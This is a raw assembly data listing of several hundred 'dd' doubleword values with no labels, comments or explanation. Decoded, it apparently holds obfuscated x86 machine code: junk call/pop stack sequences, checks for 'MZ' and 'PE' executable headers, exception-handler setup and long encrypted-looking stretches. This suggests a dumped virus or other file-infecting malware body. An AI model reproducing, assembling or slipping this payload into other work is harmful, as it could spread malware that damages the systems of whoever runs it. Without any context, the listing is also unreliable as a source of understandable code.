		dd 1885h, 12890F00h, 0E9000000h, 0Dh, 0A590FA3Eh, 0EFF0EE12h
		dd 8C5928F6h, 525090DBh, 576EB760h, 310F615Fh, 0C8BB5250h
		dd 0F609940h, 5A585A31h, 5FBB5058h, 907BCBB1h, 0A8B0Fh
		dd 5E90000h, 0FC000000h, 0DCCA9805h, 35FF64h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0F797C355h, 776A2ED2h, 89648B5Eh,	25h, 6E900h
		dd 4A520000h, 855D9970h, 0FD85FFF8h, 6A05E714h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 2442C350h, 0E4B11E02h, 0BEAAC7BDh, 12C78166h, 39BD8B2Bh
		dd 8105E704h, 0E18FD8DFh, 66FF6A6Eh, 9D8BFA8Bh,	5E73185h
		dd 251B5FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 75D45FC3h, 0BC2251BBh, 1244BB66h
		dd 45195FFh, 4DE905E7h,	81000001h, 2A0635D3h, 14E83Dh
		dd 8B000000h, 590DEA6Fh, 0CDBF0BBFh, 6E4CEF26h,	82908114h
		dd 81662020h, 5B95E3D7h, 850F00B0h, 0
		dd 852970E6h, 5E7025Dh,	1C059D8Bh, 71E405E7h, 613CD7B3h
		dd 106830Fh, 9D8B0000h,	5E72201h, 0FC8B60Fh, 381h, 0D98B6600h
		dd 6BAh, 0CE96000h, 4E000000h, 70E7DF51h, 0B69EE33Ch, 6080B1E2h
		dd 0DE815B56h, 3BB11BFAh, 0C18B6161h, 202DBD89h, 0E8C105E7h
		dd 6820F04h, 3000000h, 0E71BBD9Dh, 0E2F76605h, 72D78166h
		dd 53C82BF9h, 21D9D8Bh,	8B5F05E7h, 0B0CABFD1h, 816671D7h
		dd 0E931B5CBh, 98h, 77D8589h, 8BFC05E7h, 47554C85h, 0DE849h
		dd 62290000h, 0F0CFEECBh, 0EAFA5806h, 5FF42B6Ah, 8907C083h
		dd 0E71B5995h, 0C08305h, 90D9589h, 0D03B05E7h, 29830Fh
		dd 0B5890000h, 5E71721h, 13E9h,	18BFF000h, 0CB185E72h
		dd 8FB20A4Ch, 2E4BD9FFh, 0E65ED801h, 3BE9h, 59BD2300h
		dd 8B05E72Ah, 0FFFFFF8Dh, 0E4BB66FFh, 1E18334h,	22840Fh
		dd 81660000h, 836721D7h, 0FFFFFFA5h, 2EBBFEFFh,	894A7822h
		dd 47554C95h, 719D3349h, 0E905E720h, 0
		dd 0A514B58Dh, 6A05EBh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 41DF9BC3h, 4F64FD00h, 806D2CD8h
		dd 6A18DBh, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Ah,	0CDC35141h, 0C873924Bh,	95FF260Ah, 5E721C1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0DBC35747h, 8BF88B66h
		dd 0E71D199Dh, 10ABB905h, 0DB800000h, 0FCE18339h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 4EC35040h, 86B61A4Eh
		dd 0BF665E64h, 6AFCD046h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0CB0BC351h,	6674DF80h
		dd 0BD8BF88Bh, 5E72C39h, 6AC02Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0E165B8C3h, 0C380584Ch
		dd 0BA9Ch, 81660000h, 0AD41CCF7h, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 86C2C355h, 0B70147C8h,	0FEB64227h
		dd 27099D8Bh, 8B6605E7h, 51006ADAh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 3A468D6Eh, 9B5A6402h
		dd 5599D29h, 880D05E7h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0BB91C356h
		dd 12E9h, 946B6300h, 999C219Eh,	178D7A1h, 0A995CEC2h, 8B3A4436h
		dd 0E71AA995h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0C2B5C27Eh, 6285D7Ah
		dd 0C5BD0940h, 0F05E709h, 684h,	859D0300h, 8B05E718h, 0E72A4D8Dh
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0E7E20447h, 0BF0F44DDh, 8B50F5FEh, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 4FC35747h, 8B662C9Ah, 8388B7DEh
		dd 0E71865BDh, 840F0005h, 8Ch, 0B399D8Bh, 0B805E7h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0BEBAC357h, 0D564D33Bh, 248D8D60h, 6A05E74Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 40DDC353h, 7E8h, 84D35B00h, 0B4D13398h, 1FD19D8Bh
		dd 0FF5F05E7h, 50006AE1h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 7A775676h, 0BD8970B0h
		dd 5E72E71h, 2739BD83h,	0F0005E7h, 45184h, 0E9BD8B00h
		dd 8305E727h, 0E72739BDh, 840F0105h, 459h, 0BD83FA8Ah
		dd 5E72739h, 14860F03h,	6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 60A3C351h
		dd 13C1BD8Bh, 66F505E7h, 6AD98Ch, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 5D13B0C3h, 800D2587h
		dd 8B0F04E1h, 23h, 0BE8h, 70903F00h, 0C6D9A02Fh, 58729AFDh
		dd 0CE8h, 238D4D00h, 883C6772h,	0CB1AF5B2h, 0A5F5FC6h
		dd 19840FC9h, 66000001h, 858BF98Bh, 5E70699h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0F3C35040h, 2013E51Bh
		dd 33FE8B4Bh, 0E7130985h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 95126246h
		dd 76697C65h, 2721BD09h, 8B9005E7h, 8B6650DFh, 8C0F90DEh
		dd 6, 6716E781h, 6A0AA4h, 6E9h,	0EC19200h, 6856540Ch, 0FE9EEAE5h
		dd 81DF8B66h, 191A2404h, 6A0180h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 1716CC3h, 536BE0B9h
		dd 25BD8Bh, 95FF05E7h, 5E71B71h, 0E852006Ah, 3,	5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 7C35242h, 9FA0C51Ah, 45A72907h
		dd 0BD8BF88Bh, 5E732D5h, 0A6468589h, 6A05EAh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 9BB535C3h
		dd 0AB1D3E85h, 0F6F5F67h, 0E7E9DBB7h, 0F5000001h, 0A63E858Bh
		dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 5FAE00C3h, 0C715ACh, 18h,	0A642B58Bh, 0DE805EAh
		dd 0FD000000h, 0A389944Ch, 2E54243Ch, 0D0CA3434h, 2FD9589h
		dd 8B5F05E7h, 0E7328985h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 1A263EECh
		dd 0D109CF81h, 6894E57h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 15h, 3C35747h, 99858B66h, 6A05E706h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 29E2C353h, 0E71385BDh, 4468905h, 8B8CB760h, 0E70A819Dh
		dd 60506105h, 0FE9h, 0FEE22500h, 0C9091C0Ah, 201B8E6h
		dd 0A6122D19h, 24348961h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0A2C35747h, 0D7420EDFh, 0E59D8B63h, 0E905E724h
		dd 13h,	57A6A7B4h, 0D2B973D9h, 0FE170D90h, 0A9AA98E5h
		dd 0FFEDA6DDh, 0EAA63EB5h, 11E805h, 0B5B90000h,	13FA1377h
		dd 65CBCFCFh, 54D9AE12h, 0E9C5C48Dh, 5,	26667D6Ch, 8B665BB2h
		dd 0F85768D8h, 0FE8B213Bh, 0A8243481h, 6A2124FBh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 9781C352h, 0EA3414B3h, 99D78166h, 8D27BB00h,	858D1546h
		dd 5EAA646h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	42C35040h, 1D9D8B5Ch, 8B05E725h, 0E704959Dh, 0B9605005h
		dd 44417483h, 24048961h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 18h, 0E6C35040h, 5FF120F9h, 1B7195FFh, 6A6105E7h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 5C30C357h, 86EDCB37h, 8B4646A1h, 0E72171BDh
		dd 3985C705h, 305E727h,	0E8000000h, 0Dh, 0E5C394DEh, 0B1218D0Bh
		dd 0BDF06C85h, 0F78166FBh, 835F262Bh, 0EAA646BDh, 840F0005h
		dd 3Fh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h
		dd 0E3C35141h, 37E917EEh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 50A8C356h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0CFF61CC3h, 4299AF88h, 11E8A8h, 0BCA00000h
		dd 0E1EB6062h, 8D19F1Ah, 0F400027Eh, 60858FB8h,	8BF1BF0Fh
		dd 0E71A2D9Dh, 0F5F6105h, 580h,	1A5ABF00h, 0BF662920h
		dd 0BD83BBB3h, 5E72739h, 850F03h, 66000004h, 0BD83D98Bh
		dd 5EAA646h, 0F0840F00h, 89000003h, 0E70B4DBDh,	46B5FF05h
		dd 6A05EAA6h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h
		dd 47000000h, 6A3AC357h, 323F68DBh, 158E0F64h, 0E9000000h
		dd 10h,	883A64E2h, 0D108EAD0h, 1E6884A3h, 4DE5F59Fh, 21995FFh
		dd 8BFC05E7h, 0EAA63AB5h, 91B58905h, 8005E713h,	6C787F3h
		dd 10001h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	6AC35646h, 0A97A760Fh, 50DE8B96h, 12E8h, 0F2B45B00h
		dd 0B67DBC91h, 0BFDC4607h, 0AE22DB54h, 0BB8D6829h, 7A98C442h
		dd 0E780965Bh, 46B5FFFBh, 6A05EAA6h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 432CC353h
		dd 44D0624Ch, 3195FF2Ch, 0E805E700h, 5,	0D1F1BA01h, 0DE84Ah
		dd 0FFC20000h, 0C84DB852h, 0A170A254h, 0B799E188h, 895B5BA6h
		dd 0E7234D9Dh, 3AB58B05h, 6A05EAA6h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0A819C350h
		dd 0BFAA5E34h, 91E05F92h, 858BF88Bh, 5E7187Dh, 5D35BF66h
		dd 0C48689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0F2775EC3h, 0CDB589E2h, 8B05E71Bh
		dd 0E71AA995h, 65BD8B05h, 8305E705h, 6A04C2h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 56DA18C3h
		dd 24EDBD03h, 895B05E7h, 0CE92050h, 0E4000000h,	27AE18CBh
		dd 0D0E4CEC3h, 8D395576h, 0EABAC385h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 55524A64h, 0ADF0FC3Dh, 259589B5h, 8905E720h,	0B886h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 237C170Bh, 269493h, 0DD8AB328h, 6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0FFB255C3h, 0EAA646B5h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0A0D26940h
		dd 0B1D03522h, 9D294F06h, 5E7162Dh, 1ABD95FFh, 6A05E7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0E950D2C3h, 0Ch, 108C4052h, 44FC11B4h, 801CF398h, 6A243489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0E2ABC350h, 66B6E514h, 8E0FF98Bh,	5, 0FEEB8166h
		dd 46B5FF68h, 0E905EAA6h, 14h, 0ADF27852h, 8D39072Fh, 331EB4D7h
		dd 602FB09Fh, 78C801BEh, 77995FFh, 0B50105E7h, 5E701CDh
		dd 2D0DBD83h, 0F0005E7h, 1A84h,	0E3BF6600h, 8B6650A1h
		dd 243489F9h, 0AE9h, 0F9DA0D00h, 62B2EFACh, 0FFA94146h
		dd 0EAA646B5h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0F05CBAFh, 10E9FFBFh
		dd 6B000000h, 3175AA4Ch, 0AD5F7540h, 69A43E7Ah,	0FF473DEEh
		dd 0E7243595h, 0D8BF6605h, 46B5FF26h, 8905EAA6h, 0E72159BDh
		dd 6D95FF05h, 6A05E707h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 3A5BC350h, 7DC95E45h
		dd 0DF81F4E1h, 459608EEh, 2D85BD83h, 0F0205E7h,	2584h
		dd 598D8900h, 8B05E70Bh, 0E7118585h, 0EF816605h, 0C6491Eh
		dd 5E800h, 90A00000h, 8B2348ABh, 0E71A45BDh, 85C75B05h
		dd 5E72319h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0B9C35646h
		dd 194D1B1Bh, 5D69BF51h, 0E95B7CD6h, 0FFFFF29Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 35C35545h, 118E0F17h
		dd 0E9000000h, 0Ch, 8208554Fh, 0E4616FE8h, 60F4C86Dh, 0B589C18Bh
		dd 5E707E1h, 0E0000BAh,	0EA81F0h, 83F00000h, 958914C2h
		dd 5E70635h, 8D14EA83h,	0EC356585h, 0FF645005h,	35h, 25896400h
		dd 0
		dd 0E8h, 0C22B5800h, 0FFF00025h, 388166FFh, 850F5A4Dh
		dd 12h,	3C50B70Fh, 3A81D003h, 4550h, 0A840Fh, 2D0000h
		dd 0E9000010h, 0FFFFFFD9h, 8589C88Bh, 5E7134Dh,	0F3C4003h
		dd 890650B7h, 0E7037595h, 50508B05h, 2A099589h,	0F80505E7h
		dd 8B000000h, 0D1030C50h, 0A6D9589h, 500305E7h,	11958908h
		dd 6405E706h, 58Fh, 0C4830000h,	13E904h, 8B510000h, 8110244Ch
		dd 0B0A9h, 100000h, 0C0335900h,	9BD83C3h, 5E718h, 24840Fh
		dd 85C60000h, 5E732A5h,	0A7D26847h, 0B5FFD49Ah,	5E72B05h
		dd 7DA1858Dh, 0D0FF05EAh, 0D0FF006Ah, 23D8589h,	0D38B05E7h
		dd 36568D8Dh, 0B70F05ECh, 0A98D89D9h, 0C705E71Ah, 0E72A4D85h
		dd 5FA405h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0B4530A6Fh, 273985C7h, 5E7h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0B5FFA9C3h, 5E70595h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 0EFC35646h, 0FE9h, 5F26FD00h,	123E4014h
		dd 0B37BB659h, 0A406C4B8h, 179595FFh, 5E905E7h,	4A000000h
		dd 0D5F1F6B6h, 95FF006Ah, 5E721C1h, 4FEBC08Bh, 0AEF28B45h
		dd 299EF79h, 62449EC1h,	1DA7F198h, 0D61C29DAh, 8D38449Ch
		dd 8720FFE0h, 83B6114Eh, 7A775676h, 9C0F70B0h, 0AF5C080Fh
		dd 4D15E54Dh, 0E3CA79E3h, 0BEB6024Ch, 0F7A041Fh, 0EB6E8D06h
		dd 0F1635387h, 456AE418h, 0D1503E8Eh, 8D31F31Bh, 0EC375C8Dh
		dd 0FFBA6605h, 0FE995h,	7DA90000h, 4D7E0D01h, 0C208153Eh
		dd 80BA764Fh, 0A98D894Fh, 0F05E71Ah, 85C7C2BFh,	5E72A4Dh
		dd 6040h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	3C35646h, 6B9B529h, 958B05E7h, 5E70ABDh, 273985C7h
		dd 5E7h, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 1C0424h, 51410000h, 48635CC3h, 9017CF4Bh, 950187D8h
		dd 5E7033Dh, 0E345F781h, 0B5FF64F3h, 5E71555h, 0C01BD8Bh
		dd 95FF05E7h, 5E71795h,	2F098D89h, 6A05E7h, 21C195FFh
		dd 0C08B05E7h, 82CC1CEBh, 66BE3F04h, 0F022BD61h, 5A8D3A53h
		dd 1DA8484Ah, 0D9FC7465h, 587C7E5Ah, 12E8E620h,	83000000h
		dd 2AB22767h, 0BDB7E72Ch, 0FAE3B8A8h, 1DD30243h, 0B5BF56Eh
		dd 0E71A0D95h, 0B5C38105h, 89000061h, 0E706BDB5h, 0FF63305h
		dd 484h, 99BA6600h, 330C8BAFh, 0C181D4B6h, 0D853497h, 5A59D89h
		dd 0E98105E7h, 54538816h, 9598D89h, 0F18105E7h,	66C8843Fh
		dd 14E9h, 0EAE49800h, 4BA77F94h, 964B61ACh, 8DBFCB99h
		dd 3139E38Dh, 0E960515Ch, 10h, 305DD2B4h, 40211A2Bh, 5027585h
		dd 0C679E74Eh, 8F61C68Ah, 0B8663304h, 51603EF1h, 9D8B58FCh
		dd 5E71641h, 7EE8161h, 8B58AD45h, 0E71A8185h, 3C68105h
		dd 8158AD45h, 0FF9F34FEh, 11850FFFh, 0F000000h,	2DE9D3B7h
		dd 5B000000h, 3EF53EADh, 0B015168Dh, 0FE9h, 0B0842B00h
		dd 80A9379Ah, 0A2513BA4h, 0EC1D594Bh, 0FFFF50E9h, 132FB9FFh
		dd 0D10D52D2h, 0C699FB4Eh, 0EE8h, 6FCBE900h, 5D9A96AAh
		dd 0F3601A08h, 899CF564h, 0E71969BDh, 958B5805h, 5E700B5h
		dd 64F1C081h, 9D290000h, 5E70C85h, 89AB11BFh, 5F7812Fh
		dd 8B2F89B2h, 0E717C595h, 0B9308B05h, 35247CC9h, 2305F681h
		dd 0AE95294h, 0C9000000h, 5841C7EAh, 5FD20EEFh,	69F68120h
		dd 816CD341h, 0CECC36F2h, 0ADEE8119h, 3133D679h, 0E71C059Dh
		dd 85895605h, 5E720E1h,	0C181008Fh, 300F1641h, 0C585E881h
		dd 0BD0972FBh, 5E70AD9h, 0C581C081h, 9D0172FBh,	5E71365h
		dd 1EF81h, 850F0000h, 0FFFFFF99h, 29B58D8Bh, 0DA2005E7h
		dd 32200139h, 84F83251h, 0D684F5F4h, 579188DEh,	6907E602h
		dd 23D89CBBh, 0BEE604D7h, 324FE9E8h, 9D290130h,	7B736AE0h
		dd 0DCBF034Fh, 0BA46B833h, 39788F8h, 6904E626h,	0B68F0598h
		dd 324003D4h, 8FA3F9BBh, 37F71DB5h, 648C0E30h, 58040130h
		dd 31EA5730h, 12010130h, 0BBDEC26Eh, 0B3442544h, 2B242574h
		dd 74100130h, 825DC266h, 0AD161D75h, 2BDBB419h,	0A78804D7h
		dd 37672269h, 3242A2D9h, 322DE830h, 106C0130h, 8D2A5309h
		dd 0C19E256Ah, 0DB00DEB6h, 3201013Dh, 48C37357h, 0CDDE2BC4h
		dd 0C356652Eh, 0BD1F9165h, 3208013Ch, 32028B3Fh, 0B50D0130h
		dd 32010130h, 3C050E60h, 62400130h, 3D725162h, 3D485B01h
		dd 68FF8A01h, 326E9168h, 3201E965h, 6F210130h, 5E095CF3h
		dd 76C10514h, 32350514h, 67550130h, 0B99646F3h,	0D500B485h
		dd 7E030E35h, 326BFF14h, 3283E961h, 6B600130h, 7EA958F3h
		dd 76910514h, 321F0514h, 63450130h, 24A247F3h, 0D38B6132h
		dd 52E1C2BBh, 0F1A381C9h, 0D8A16751h, 0DA482C9Fh, 32080123h
		dd 0F2A95CC1h, 539843D3h, 10079B99h, 9FE6B39Bh,	54D5F56Bh
		dd 0B17FFBBBh, 327A2DF0h, 320BE963h, 69240130h,	6E8B5AF3h
		dd 76800514h, 32980514h, 61030130h, 890C5FF3h, 0BFA26DFEh
		dd 326209BBh, 3207E967h, 6D220130h, 4E885EF3h, 76010514h
		dd 32550514h, 65670130h, 0C758CDF3h, 0CE408A56h, 19BDB4B9h
		dd 0B36404D7h, 3DFE3709h, 328101B4h, 67406B30h,	322002D8h
		dd 0F14D2130h, 1664886Dh, 16408034h, 32021634h,	0F1544430h
		dd 0CD19232Ch, 0BB49C0B3h, 0D52A54BDh, 0DB298135h, 335E843Fh
		dd 326E0130h, 3201E962h, 68210130h, 66095BF3h, 76C10514h
		dd 323D0514h, 60520130h, 42B247F3h, 525DA99h, 54C241C6h
		dd 738AF0BBh, 62806B31h, 324002D8h, 0F1782130h,	16548868h
		dd 164C8034h, 32041534h, 0F1524130h, 58C90253h,	31685330h
		dd 12400130h, 0BB7AC26Ah, 0B3142564h, 2F0C2574h, 70040130h
		dd 826DC262h, 88B63F6Fh, 0F3A1FC67h, 11C59CBBh,	0F3A304D7h
		dd 63106B35h, 320802D8h, 0F15D2130h, 164E8869h,	16458034h
		dd 32801A34h, 0F1114030h, 618342Ah, 0B81AD51Eh,	13159C1Bh
		dd 0A78D04D7h, 37E50D79h, 799138B1h, 0B78F8A73h, 32400194h
		dd 0DA70015Ah, 32100133h, 6ACB5910h, 362045B9h,	362645B1h
		dd 32010125h, 0CE435170h, 16CD8CC8h, 0B925E67Dh, 0D53F3C8Dh
		dd 320BB935h, 326E0130h, 3201E966h, 6C210130h, 46095FF3h
		dd 76C10514h, 323D0514h, 64560130h, 5241BBF3h, 15BEA638h
		dd 3D7FD75Fh, 320104BEh, 4F44BF30h, 26A85545h, 3B200130h
		dd 2500C47Ah, 9D59FFDBh, 32DEFB98h, 0E09CA66Ch,	0B98AEF3Fh
		dd 0D58B4CA5h, 0D3BF5F35h, 0DA77015Ah, 32100133h, 6DCB5E10h
		dd 36207DB9h, 362645B1h, 3201012Ch, 99435677h, 6A6F3976h
		dd 7D8F4F6Dh, 0F3853051h, 0BF0DE62Ah, 0DE3D188Dh, 508F8C35h
		dd 8A04ED0Ch, 33128244h, 16A18403h, 0FD0B04D7h,	0DA20E8F1h
		dd 32200139h, 84F83251h, 0D684F5F4h, 579188DEh,	6907E602h
		dd 83D89CBBh, 0A4F305E9h, 6AC08Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 3CB44DC3h, 7A3DF3C7h
		dd 0BF0F822Eh, 6AFCDAh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 89408EC3h, 0E7169185h, 8BD38B05h
		dd 712ADEC3h, 4B46D4D4h, 557F01DCh, 525CD4C8h, 0B336398h
		dd 2633A9A9h, 265AF198h
		dd 1496EF5Eh, 4E60307Fh, 0A5E4FFB4h, 0D36F867h,	0A3BEA37Fh
		dd 23D92E39h, 0A3BA7967h, 23D4D539h, 3E3AD71Bh,	2933307Fh
		dd 2633831Dh, 0C6B6C098h, 76364AA4h, 1AE1D615h,	0D963AC74h
		dd 0C132750Dh, 2664839Dh, 23593598h, 1AD11F15h,	0AB634874h
		dd 0CA0F741Dh, 0B3CC039Dh, 23D485A9h, 0A23C1493h, 26336AA1h
		dd 1AD1B015h, 0CE639F74h, 26334DAAh, 0A3BEF6D8h, 23DF6F70h
		dd 0C4B624C8h, 763638A4h, 2F8EFF67h, 0E2B0307Fh, 0C4B61794h
		dd 7636A1A4h, 1AE12315h, 0D9635674h, 0C132080Dh, 26513D9Dh
		dd 0AD666A98h, 74646474h, 2E4E11CEh, 24DA8DABh,	6633A698h
		dd 260CD3DFh, 0D9C62C97h, 0EF002B67h, 0CF3B1713h, 263335B2h
		dd 31B948ABh, 0AD03A718h, 0AD63E868h, 2C88005Ah, 0CF33A998h
		dd 2633D49Bh, 0A57D896Fh, 0A13C3566h, 0D9CC656Ch, 7EFB4EC3h
		dd 0E638EEDFh, 0D9FDD697h, 0E7B85667h, 7F6C8EC6h, 2637A851h
		dd 1AE38815h, 0ABBE9F74h, 23DF739Dh, 9320h, 0E7FC7800h
		dd 7310271h, 0C783C8D0h, 850F4904h, 0FFFFFFF2h,	3E05B58Dh
		dd 8D8D05ECh, 5EC3E24h,	0E983CF2Bh, 8DC88B05h, 0EC3EB98Dh
		dd 0B9858905h, 6605E72Bh, 0FEC5EF81h, 1AA98D89h, 6A05E7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 74A7A2C3h, 0C77068B6h, 0E72A4D85h, 6BA405h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0ACE36A92h, 52199199h, 0C3B70F42h, 273985C7h, 5E7h
		dd 0B58B0000h, 5E7252Dh, 595B5FFh, 0BD0905E7h, 5E71769h
		dd 179595FFh, 6AF805E7h, 0C195FF00h, 8B05E721h,	3E4FEBC0h
		dd 7B966D32h, 81059753h, 12396217h, 0DDAD28DAh,	0DC605D02h
		dd 0A42A7AB1h, 640CBEA5h, 0F0BAC6BCh, 603E9EDBh, 0CF2FA5F7h
		dd 0E1DB69ABh, 0FE9CD06Ah, 9B4FBD1Ch, 941D11B7h, 6A33FBD8h
		dd 0FC3BE15Ah, 13D8BCD6h, 2B9BF3A5h, 0E3DDF67h,	4EBCFF0h
		dd 27F36031h, 522E9h, 1306DE00h, 5CCD2D7Dh, 0AA6F76C6h
		dd 0F53CC414h, 3DEC0F5Fh, 2258EA7h, 4A9A30F9h, 97E77DB4h
		dd 0E131C76Ah, 0A87D131Eh, 12BEA28Fh, 60465A7Eh, 0BDAABFDBh
		dd 5491D3D9h, 4F5B9361h, 4B3481B0h, 336BBE3Dh, 0BF55D427h
		dd 54A1906Fh, 57A48D72h, 57A48575h, 200D22A5h, 5491D43Ch
		dd 0B446F6C4h, 63793D75h, 0C8B52BD4h, 5491D4E4h, 519E936Eh
		dd 893907B9h, 0D56DBA77h, 7482D96Fh, 6C55A287h,	91D49B7Fh
		dd 0EF552354h, 2572BF3Fh, 0B849558Dh, 6E93E379h, 6A9476C3h
		dd 47AD847Dh, 0A3B855FAh, 91D4D2B6h, 0D88C5A54h, 0B84347B3h
		dd 9E629A34h, 2908F948h, 0D12E3C93h, 0E31C2860h, 6D82974Eh
		dd 92969C80h, 0C7562454h, 549296E3h, 7B5F4C6Bh,	3549296h
		dd 0EE97CF35h, 1F03F005h, 0A7549297h, 0D7B6A1D9h, 59549296h
		dd 543A87A2h, 5E912FFDh, 19CC7CA9h, 0C00EB300h,	9AFC652Ah
		dd 0F0DCEE4Ch, 62E98427h, 0DE732E9Dh, 86E8A6Ch,	813EE8D0h
		dd 711F457Ch, 0CA000000h, 41F839C6h, 0D35B3F2Ch, 15E35491h
		dd 957334DDh, 5E5491D3h, 4250EEFCh, 8D2572BFh, 0FCC36D55h
		dd 1A4457Ch, 4F000000h,	0A8F534C6h, 0D8B0ADBFh,	9C16BE44h
		dd 3DA25864h, 8B2370C1h, 0A80E23DBh, 0AA87795Bh, 151CE5F3h
		dd 0EF2DFC8h, 965492B5h, 812A62C8h, 0F64D9BCFh,	388F2504h
		dd 83A7426h, 366E6B6Ch,	0FE0ED52Ah, 0FF278E2Dh,	0D429BF25h
		dd 9B34B1BFh, 0E47CC960h, 0C13A467Eh, 0C1391B68h, 451E01Eh
		dd 0E5B9066Ch, 3B49E7F5h, 841C69C0h, 6EBB404Ch,	3C6F81D8h
		dd 5C26D08Eh, 1FE0EC24h, 2E3C512h, 0B40118CDh, 0F1FFB61Ch
		dd 3ED6230Eh, 8E945D06h, 51730D78h, 6354457Ch, 0FF000000h
		dd 0A7F435C6h, 0ACF920C5h, 2130C6FAh, 69B94FDAh, 614A9792h
		dd 75DF9D4Fh, 0B9F0A485h, 57639B4Fh, 723B88A9h,	0ABC09E6Ch
		dd 928BDABEh, 56436254h, 54928B72h, 8EC62CFAh, 7C42ECA6h
		dd 3CED45h, 0C6980000h,	0C5A7F435h, 33A8F53Ch, 1BE07785h
